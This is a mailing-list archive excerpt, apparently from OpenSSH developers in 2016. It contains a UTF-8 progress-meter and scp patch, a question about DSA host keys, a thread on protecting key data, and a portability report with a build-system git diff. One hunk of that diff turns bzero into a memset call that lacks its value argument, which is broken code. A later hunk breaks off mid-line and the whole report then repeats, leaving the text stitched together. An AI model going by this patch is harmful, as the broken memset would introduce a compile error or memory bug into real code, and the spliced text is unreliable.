-			snprintf(buf + strlen(buf), win_size - strlen(buf),
+			snprintf(buf + strlen(buf),
+			    sizeof(buf) - strlen(buf),
 			    "  %02d:%02d", minutes, seconds);
 
 		if (bytes_left > 0)
-			strlcat(buf, " ETA", win_size);
+			strlcat(buf, " ETA", sizeof(buf));
 		else
-			strlcat(buf, "    ", win_size);
+			strlcat(buf, "    ", sizeof(buf));
 	}
 
-	atomicio(vwrite, STDOUT_FILENO, buf, win_size - 1);
+	atomicio(vwrite, STDOUT_FILENO, buf, strlen(buf));
 	last_update = now;
 }
 
Index: scp.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/scp.c,v
retrieving revision 1.184
diff -u -p -r1.184 scp.c
--- scp.c	27 Nov 2015 00:49:31 -0000	1.184
+++ scp.c	17 Jan 2016 09:07:52 -0000
@@ -83,6 +83,7 @@
 #include <dirent.h>
 #include <errno.h>
 #include <fcntl.h>
+#include <locale.h>
 #include <pwd.h>
 #include <signal.h>
 #include <stdarg.h>
@@ -501,6 +502,8 @@ main(int argc, char **argv)
 	    targetshouldbedirectory ? " -d" : "");
 
 	(void) signal(SIGPIPE, lostconn);
+
+	(void) setlocale(LC_CTYPE, "");
 
 	if ((targ = colon(argv[argc - 1])))	/* Dest is remote host. */
 		toremote(targ, argc, argv);

----- End forwarded message -----

From neheb at hushmail.com  Wed Jan 20 09:37:49 2016
From: neheb at hushmail.com (neheb at hushmail.com)
Date: Tue, 19 Jan 2016 14:37:49 -0800
Subject: error: Could not load host key: /etc/ssh/ssh_host_dsa_key
Message-ID: <20160119223749.CFCA6200B4@smtp.hushmail.com>

Does this error make any sense now that version 7.1 disables it at runtime? I ask since OpenWRT's init script for OpenSSH currently does not generate a DSA key(waste of space).


From dtucker at zip.com.au  Wed Jan 20 09:39:33 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 20 Jan 2016 09:39:33 +1100
Subject: [patch] scp + UTF-8
In-Reply-To: <20160119214853.GH9300@athene.usta.de>
References: <20160119214853.GH9300@athene.usta.de>
Message-ID: <CALDDTe0jun5F4=2QH4MK6Rm6TqJQRiUE4+j27u3kO9HGhbROnw@mail.gmail.com>

On Wed, Jan 20, 2016 at 8:48 AM, Ingo Schwarze <schwarze at usta.de> wrote:
> Hi,
>
> Martijn sent the following patch to me in private and agreed that i post
> it here.
>
> In any other program in OpenBSD base, i'd probably agree with the
> basic approach.  Regarding OpenSSH, however, i worry whether wcwidth(3)
> can be used.  While wcwidth(3) is POSIX, it is not ISO C.  Does
> OpenSSH target platforms that don't provide wcwidth(3)?

OpenSSH nominally targets POSIX, but it builds on a wide enough range
of platforms that it's likely at least some don't have it.

Our general approach is to target POSIX then implement any needed
missing bits either by stealing the implementation from OpenBSD, some
other BSD licensed source or writing from scratch.  If we have to
we'll ifdef stuff but prefer not to.

> If so,
> do you think the problem can be solved by simply providing US-ASCII
> support only on such platforms, but no UTF-8 support at all?

Yes.  That's what I did with mblen when we picked up a need for that
via libedit for platforms with no wide character support.

$ grep -i mblen openbsd-compat/*.h
openbsd-compat/openbsd-compat.h:#ifndef HAVE_MBLEN
openbsd-compat/openbsd-compat.h:# define mblen(x, y)  (1)

Is there any reason the same approach would not work with wcwidth?

[...]
> P.S.
> This patch also uses mbtowc(3), but i assume that's no problem
> because that's ANSI C.

I would not assume that its existence in the standard is equal to its
existence in all deployments :-)  That said it looks like we can
implement it in libcompat if needed.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From keisial at gmail.com  Wed Jan 20 09:53:24 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Tue, 19 Jan 2016 23:53:24 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
Message-ID: <569EBE64.3040203@gmail.com>

That won't work when the data was recovered because it was read inside
a stdio buffer which was not overwritten before being freed.


From roland.mainz at nrubsig.org  Wed Jan 20 10:18:59 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Wed, 20 Jan 2016 00:18:59 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <569EBE64.3040203@gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
Message-ID: <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>

On Tue, Jan 19, 2016 at 11:53 PM, ?ngel Gonz?lez <keisial at gmail.com> wrote:
> That won't work when the data was recovered because it was read inside
> a stdio buffer which was not overwritten before being freed.

Why is stdio used in such a security-sensitive area anyway ? Is there
any performance impact if the code is switched to plain { |open()|,
|read()|, ... } (with sufficient wrappers for |EINTR| handling) ?

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From sortie at maxsi.org  Wed Jan 20 10:23:02 2016
From: sortie at maxsi.org (Jonas 'Sortie' Termansen)
Date: Wed, 20 Jan 2016 00:23:02 +0100
Subject: OpenSSH portability & buildsystem fixes
Message-ID: <569EC556.6020700@maxsi.org>

Hi,

I recently ported OpenSSH to my hobbyist operating system.  The portable
release is very straightforward to work with, but it had a few minor
issues where it assumes the existence of things that might not be on a
POSIX 2008 system.  This are the list of issues I encountered that I
believe makes sense to upstream.

* <sys/param.h> is included in many files and isn't a standard header.
  The portability layer already handles all the things it might provide
  and I could just remove all its inclusions.  The build system should
  just detect its absence and generate an empty header in
  openbsd-compat/.

* bzero is used in deattack.c (and in regress/) instead of the standard
  memset.  The code should be changed to use memset or the compatibility
  layer should provide its own bzero if absent.

* misc.c uses gettimeofday but doesn't include <sys/time.h> to get it.

* timerclear, timerisset and timercmp are used in misc.c and
  ssh-keyscan.c. They are non-standard BSD extensions from <sys/time.h>.
  The build system should detect their lack and provide its own
  versions, or the code could be rewritten to not use them.

* u_short and u_long are used across the codebase, but defines.h only
  provides u_char and u_int.

* size_t len in openbsd-compat/strptime.c is unused and causes a
  warning. It's used below by code that's commented out and the variable
  should be commented out too.

* utimes in openbsd-compat has char * for the path parameter but that's
  supposed to be const char *.

* loginrec.c in utmpx_perform_login does a call to utmpx_write_direct
  with a parameter named ut, but such a variable does not exist, that
  was probably supposed to be utx.  Though that code isn't implemented
  so not that important.

* DESTDIR is not inherited from the environment in the makefiles, but
  instead assigned to the empty string.  autoconf packages typically
  inherit it from the environment.  This is easily fixed by adding
  DESTDIR?= instead, or simply removing the line as it already defaults
  to the empty string.

* The install makefile target has check-config as a prerequisite, which
  runs the compiled ssh, but this doesn't make sense in a cross 
  compilation situation. The build system should detect cross
  compilation and not do this.  check-config also doesn't have the
  installation of sshd as a prerequisite, so this might cause parallel
  make issues on some make implementations.

* $(LD) is used to link instead of $(CC) but LD might be set to 'ld'.
  This is a problem because C code is linked with the compiler so it
  links with the standard library.  All occurrences of $(LD) should be
  changed to $(CC) in the makefiles.

* config.sub and config.guess are from 2012.  It's important to keep
  them up to date with with the GNU config project, otherwise new
  machine types and operating systems won't be supported.  The git log
  mentions a concern about GPLv3 code.  The latest upstream files are
  GPLv3 but with the exception:

  "if you distribute this file as part of a program that contains a
   configuration script generated by Autoconf, you may include it under
   the same distribution terms that you use for the rest of that
   program". 

  This is the case with OpenSSH so it shouldn't be a problem to
  distribute new versions of those files.

* The install target runs install -s to strip the installed programs.
  However this runs strip(1) on the program, not $STRIP.  This matters
  when cross-compiling where the system strip might not correctly handle
  the programs.  This happened to me where it changed the OSABI ELF
  header value. The build system should instead respect the user CFLAGS
  and install a non-stripped version if that's what's built.  I hear
  some autoconf projects a install-strip target (though I haven't
  checked).  It's probably desirable to change the default from
  --enable-strip to --disable-strip as well.

Hopefully this is useful and things that makes sense to fix in the
official OpenSSH portable, as it would aid future ports to new operating
systems.  I patched around these issues locally.  I reproduced some of
these fixes properly in the OpenSSH portable git and included it as a
git diff below. I think the rest is better solved by you, but I can try
to submit diffs for those items if you prefer that.

This list is to get a process started, not necessarily because it's the
best way to submit work to you.  Please let me know if you would prefer
if I split this into a number of request.  As always, thanks for a great
piece of software.

Jonas

diff --git a/Makefile.in b/Makefile.in
index 9e32641..a020463 100644
--- a/Makefile.in
+++ b/Makefile.in
@@ -19,7 +19,6 @@ piddir=@piddir@
 srcdir=@srcdir@
 top_srcdir=@top_srcdir@
 
-DESTDIR=
 VPATH=@srcdir@
 SSH_PROGRAM=@bindir@/ssh
 ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass
@@ -163,41 +162,41 @@ libssh.a: $(LIBSSH_OBJS)
 	$(RANLIB) $@
 
 ssh$(EXEEXT): $(LIBCOMPAT) libssh.a $(SSHOBJS)
-	$(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHLIBS) $(LIBS) $(GSSLIBS)
+	$(CC) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHLIBS) $(LIBS) $(GSSLIBS)
 
 sshd$(EXEEXT): libssh.a	$(LIBCOMPAT) $(SSHDOBJS)
-	$(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHDLIBS) $(LIBS) $(GSSLIBS) $(K5LIBS)
+	$(CC) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHDLIBS) $(LIBS) $(GSSLIBS) $(K5LIBS)
 
 scp$(EXEEXT): $(LIBCOMPAT) libssh.a scp.o progressmeter.o
-	$(LD) -o $@ scp.o progressmeter.o bufaux.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ scp.o progressmeter.o bufaux.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-add$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-add.o
-	$(LD) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-agent$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-agent.o ssh-pkcs11-client.o
-	$(LD) -o $@ ssh-agent.o ssh-pkcs11-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ ssh-agent.o ssh-pkcs11-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-keygen$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keygen.o
-	$(LD) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-keysign$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keysign.o roaming_dummy.o readconf.o
-	$(LD) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 ssh-pkcs11-helper$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-pkcs11-helper.o ssh-pkcs11.o
-	$(LD) -o $@ ssh-pkcs11-helper.o ssh-pkcs11.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ ssh-pkcs11-helper.o ssh-pkcs11.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
 ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o roaming_dummy.o
-	$(LD) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
+	$(CC) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
 
 sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
-	$(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+	$(CC) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
 
 sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-glob.o progressmeter.o
-	$(LD) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
+	$(CC) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
 
 # test driver for the loginrec code - not built by default
 logintest: logintest.o $(LIBCOMPAT) libssh.a loginrec.o
-	$(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh $(LIBS)
+	$(CC) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh $(LIBS)
 
 $(MANPAGES): $(MANPAGES_IN)
 	if test "$(MANTYPE)" = "cat"; then \
@@ -456,7 +455,7 @@ UNITTESTS_TEST_SSHBUF_OBJS=\
 
 regress/unittests/sshbuf/test_sshbuf$(EXEEXT): ${UNITTESTS_TEST_SSHBUF_OBJS} \
     regress/unittests/test_helper/libtest_helper.a libssh.a
-	$(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHBUF_OBJS) \
+	$(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHBUF_OBJS) \
 	    regress/unittests/test_helper/libtest_helper.a \
 	    -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
@@ -469,7 +468,7 @@ UNITTESTS_TEST_SSHKEY_OBJS=\
 
 regress/unittests/sshkey/test_sshkey$(EXEEXT): ${UNITTESTS_TEST_SSHKEY_OBJS} \
     regress/unittests/test_helper/libtest_helper.a libssh.a
-	$(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHKEY_OBJS) \
+	$(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHKEY_OBJS) \
 	    regress/unittests/test_helper/libtest_helper.a \
 	    -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
@@ -478,7 +477,7 @@ UNITTESTS_TEST_BITMAP_OBJS=\
 
 regress/unittests/bitmap/test_bitmap$(EXEEXT): ${UNITTESTS_TEST_BITMAP_OBJS} \
     regress/unittests/test_helper/libtest_helper.a libssh.a
-	$(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_BITMAP_OBJS) \
+	$(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_BITMAP_OBJS) \
 	    regress/unittests/test_helper/libtest_helper.a \
 	    -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
@@ -489,7 +488,7 @@ UNITTESTS_TEST_KEX_OBJS=\
 
 regress/unittests/kex/test_kex$(EXEEXT): ${UNITTESTS_TEST_KEX_OBJS} \
     regress/unittests/test_helper/libtest_helper.a libssh.a
-	$(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_KEX_OBJS) \
+	$(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_KEX_OBJS) \
 	    regress/unittests/test_helper/libtest_helper.a \
 	    -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
@@ -500,7 +499,7 @@ UNITTESTS_TEST_HOSTKEYS_OBJS=\
 regress/unittests/hostkeys/test_hostkeys$(EXEEXT): \
     ${UNITTESTS_TEST_HOSTKEYS_OBJS} \
     regress/unittests/test_helper/libtest_helper.a libssh.a
-	$(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_HOSTKEYS_OBJS) \
+	$(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_HOSTKEYS_OBJS) \
 	    regress/unittests/test_helper/libtest_helper.a \
 	    -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
 
diff --git a/contrib/cygwin/Makefile b/contrib/cygwin/Makefile
index a0261f4..89c7dfd 100644
--- a/contrib/cygwin/Makefile
+++ b/contrib/cygwin/Makefile
@@ -14,8 +14,6 @@ inetdefdir=$(defaultsdir)/inetd.d
 PRIVSEP_PATH=/var/empty
 INSTALL=/usr/bin/install -c
 
-DESTDIR=
-
 all:
 	@echo
 	@echo "Use \`make cygwin-postinstall DESTDIR=[package directory]'"
diff --git a/deattack.c b/deattack.c
index e76481a..e5193db 100644
--- a/deattack.c
+++ b/deattack.c
@@ -97,7 +97,7 @@ check_crc(const u_char *S, const u_char *buf, u_int32_t len)
 void
 deattack_init(struct deattack_ctx *dctx)
 {
-	bzero(dctx, sizeof(*dctx));
+	memset(dctx, sizeof(*dctx));
 	dctx->n = HASH_MINSIZE / HASH_ENTRYSIZE;
 }
 
diff --git a/loginrec.c b/loginrec.c
index 788553e..332da3e 100644
--- a/loginrec.c
+++ b/loginrec.c
@@ -1032,7 +1032,7 @@ utmpx_perform_login(struct logininfo *li)
 		return (0);
 	}
 # else
-	if (!utmpx_write_direct(li, &ut)) {
+	if (!utmpx_write_direct(li, &utx)) {
 		logit("%s: utmp_write_direct() failed", __func__);
 		return (0);
 	}
diff --git a/misc.c b/misc.c
index 3170218..aee3631 100644
--- a/misc.c
+++ b/misc.c
@@ -29,6 +29,9 @@
 #include <sys/types.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>
+#ifdef HAVE_SYS_TIME_H
+# include <sys/time.h>
+#endif
 #include <sys/un.h>
 
 #include <limits.h>
diff --git a/openbsd-compat/bsd-misc.c b/openbsd-compat/bsd-misc.c
index 2a788e4..97ccf70 100644
--- a/openbsd-compat/bsd-misc.c
+++ b/openbsd-compat/bsd-misc.c
@@ -105,7 +105,7 @@ const char *strerror(int e)
 #endif
 
 #ifndef HAVE_UTIMES
-int utimes(char *filename, struct timeval *tvp)
+int utimes(const char *filename, struct timeval *tvp)
 {
 	struct utimbuf ub;
 
diff --git a/openbsd-compat/bsd-misc.h b/openbsd-compat/bsd-misc.h
index 0d81d17..7e77bd2 100644
--- a/openbsd-compat/bsd-misc.h
+++ b/openbsd-compat/bsd-misc.h
@@ -63,7 +63,7 @@ struct timeval {
 }
 #endif /* HAVE_STRUCT_TIMEVAL */
 
-int utimes(char *, struct timeval *);
+int utimes(const char *, struct timeval *);
 #endif /* HAVE_UTIMES */
 
 #ifndef HAVE_TRUNCATE
diff --git a/openbsd-compat/strptime.c b/openbsd-compat/strptime.c
index d8d83d9..8958767 100644
--- a/openbsd-compat/strptime.c
+++ b/openbsd-compat/strptime.c
@@ -68,7 +68,9 @@ _strptime(const char *buf, const char *fmt, struct tm *tm, int initialize)
 {
 	unsigned char c;
 	const unsigned char *bp;
+#if 0
 	size_t len;
+#endif
 	int alt_format, i;
 	static int century, relyear;
 
diff --git a/regress/modpipe.c b/regress/modpipe.c
index e854f9e..0ccd222 100755
--- a/regress/modpipe.c
+++ b/regress/modpipe.c
@@ -78,7 +78,7 @@ parse_modification(const char *s, struct modification Hi,

I recently ported OpenSSH to my hobbyist operating system. The portable
release is very straightforward to work with, but it had a few minor issues
where it assumes the existence of things that might not be on a POSIX 2008
system. This are the list of issues I encountered that I believe makes
sense to upstream.

* <sys/param.h> is included in many files and isn't a standard header. The
portability layer already handles all the things it might provide and I
could just remove all its inclusions. The build system should just detect
its absence and generate an empty header in openbsd-compat/.

* bzero is used in deattack.c (and in regress/) instead of the standard
memset. The code should be changed to use memset or the compatibility
layer should provide its own bzero if absent.

* misc.c uses gettimeofday but doesn't include <sys/time.h> to get it.

* timerclear, timerisset and timercmp are used in misc.c and ssh-keyscan.c.
They are non-standard BSD extensions from <sys/time.h>. The build system
should detect their lack and provide its own versions, or the code could
be rewritten to not use them.

* u_short and u_long are used across the codebase, but defines.h only
provides u_char and u_int.

* size_t len in openbsd-compat/strptime.c is unused and causes a warning.
It's used below by code that's commented out and the variable should be
commented out too.

* utimes in openbsd-compat has char * for the path parameter but that's
supposed to be const char *.

* loginrec.c in utmpx_perform_login does a call to utmpx_write_direct with a
parameter named ut, but such a variable does not exist, that was probably
supposed to be utx. Though that code isn't implemented so not that
important.

* DESTDIR is not inherited from the environment in the makefiles, but
instead assigned to the empty string. autoconf packages typically inherit
it from the environment. This is easily fixed by adding DESTDIR?=
instead, or simply removing the line as it already defaults to the empty
string.

* The install makefile target has check-config as a prerequisite, which runs
the compiled ssh, but this doesn't make sense in a cross-compilation
situation. The build system should detect cross-compilation and not do
this. check-config also doesn't have the installation of sshd as a
prerequisite, so this might cause parallel make issues on some make
implementations.

* $(LD) is used to link instead of $(CC) but LD might be set to 'ld'. This
is a problem because C code is linked with the compiler so it links with
the standard library. All occurrences of $(LD) should be changed to $(CC)
in the makefiles.

* config.sub and config.guess are from 2012. It's important to keep them up
to date with with the GNU config project, otherwise new machine types and
operating systems won't be supported. The git log mentions a concern
about GPLv3 code. The latest upstream files are GPLv3 but with the
exception:

"if you distribute this file as part of a program that contains a
configuration script generated by Autoconf, you may include it under the
same distribution terms that you use for the rest of that program".

This is the case with OpenSSH so it shouldn't be a problem to distribute
new versions of those files.

* The install target runs install -s to strip the installed programs.
However this runs strip(1) on the program, not $STRIP. This matters when
cross-compiling where the system strip might not correctly handle the
programs. This happened to me where it changed the OSABI ELF header
value. The build system should instead respect the user CFLAGS and install
a non-stripped version if that's what's built. I hear some autoconf
projects a install-strip target (though I haven't checked). It's probably
desirable to change the default from --enable-strip to --disable-strip as
well.

Hopefully this is useful and things that makes sense to fix in the official
OpenSSH portable, as it would aid future ports to new operating systems. I
patched around these issues locally. I reproduced some of these fixes
properly in the OpenSSH portable git and included it as a git diff below. I
think the rest is better solved by you, but I can try to submit diffs for
those items if you prefer that.

This list is to get a process started, not necessarily because it's the best
way to submit work to you. Please let me know if you would prefer if I
split this into a number of request. As always, thanks for a great piece
of software.

Jonas

diff --git a/Makefile.in b/Makefile.in
index 9e32641..a020463 100644
--- a/Makefile.in
+++ b/Makefile.in
@@ -19,7 +19,6 @@ piddir=@piddir@
srcdir=@srcdir@
top_srcdir=@top_srcdir@

-DESTDIR=
VPATH=@srcdir@
SSH_PROGRAM=@bindir@/ssh
ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass
@@ -163,41 +162,41 @@ libssh.a: $(LIBSSH_OBJS)
$(RANLIB) $@

ssh$(EXEEXT): $(LIBCOMPAT) libssh.a $(SSHOBJS)
- $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHLIBS) $(LIBS) $(GSSLIBS)
+ $(CC) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHLIBS) $(LIBS) $(GSSLIBS)

sshd$(EXEEXT): libssh.a $(LIBCOMPAT) $(SSHDOBJS)
- $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHDLIBS) $(LIBS) $(GSSLIBS) $(K5LIBS)
+ $(CC) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(SSHDLIBS) $(LIBS) $(GSSLIBS) $(K5LIBS)

scp$(EXEEXT): $(LIBCOMPAT) libssh.a scp.o progressmeter.o
- $(LD) -o $@ scp.o progressmeter.o bufaux.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ scp.o progressmeter.o bufaux.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

ssh-add$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-add.o
- $(LD) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ ssh-add.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

ssh-agent$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-agent.o ssh-pkcs11-client.o
- $(LD) -o $@ ssh-agent.o ssh-pkcs11-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ ssh-agent.o ssh-pkcs11-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

ssh-keygen$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keygen.o
- $(LD) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ ssh-keygen.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

ssh-keysign$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keysign.o roaming_dummy.o readconf.o
- $(LD) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ ssh-keysign.o readconf.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

ssh-pkcs11-helper$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-pkcs11-helper.o ssh-pkcs11.o
- $(LD) -o $@ ssh-pkcs11-helper.o ssh-pkcs11.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ ssh-pkcs11-helper.o ssh-pkcs11.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o roaming_dummy.o
- $(LD) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
+ $(CC) -o $@ ssh-keyscan.o roaming_dummy.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)

sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
- $(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+ $(CC) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)

sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-glob.o progressmeter.o
- $(LD) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
+ $(CC) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)

# test driver for the loginrec code - not built by default
logintest: logintest.o $(LIBCOMPAT) libssh.a loginrec.o
- $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh $(LIBS)
+ $(CC) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh $(LIBS)

$(MANPAGES): $(MANPAGES_IN)
if test "$(MANTYPE)" = "cat"; then \
@@ -456,7 +455,7 @@ UNITTESTS_TEST_SSHBUF_OBJS=\

regress/unittests/sshbuf/test_sshbuf$(EXEEXT): ${UNITTESTS_TEST_SSHBUF_OBJS} \
regress/unittests/test_helper/libtest_helper.a libssh.a
- $(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHBUF_OBJS) \
+ $(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHBUF_OBJS) \
regress/unittests/test_helper/libtest_helper.a \
-lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

@@ -469,7 +468,7 @@ UNITTESTS_TEST_SSHKEY_OBJS=\

regress/unittests/sshkey/test_sshkey$(EXEEXT): ${UNITTESTS_TEST_SSHKEY_OBJS} \
regress/unittests/test_helper/libtest_helper.a libssh.a
- $(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHKEY_OBJS) \
+ $(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_SSHKEY_OBJS) \
regress/unittests/test_helper/libtest_helper.a \
-lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

@@ -478,7 +477,7 @@ UNITTESTS_TEST_BITMAP_OBJS=\

regress/unittests/bitmap/test_bitmap$(EXEEXT): ${UNITTESTS_TEST_BITMAP_OBJS} \
regress/unittests/test_helper/libtest_helper.a libssh.a
- $(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_BITMAP_OBJS) \
+ $(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_BITMAP_OBJS) \
regress/unittests/test_helper/libtest_helper.a \
-lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

@@ -489,7 +488,7 @@ UNITTESTS_TEST_KEX_OBJS=\

regress/unittests/kex/test_kex$(EXEEXT): ${UNITTESTS_TEST_KEX_OBJS} \
regress/unittests/test_helper/libtest_helper.a libssh.a
- $(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_KEX_OBJS) \
+ $(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_KEX_OBJS) \
regress/unittests/test_helper/libtest_helper.a \
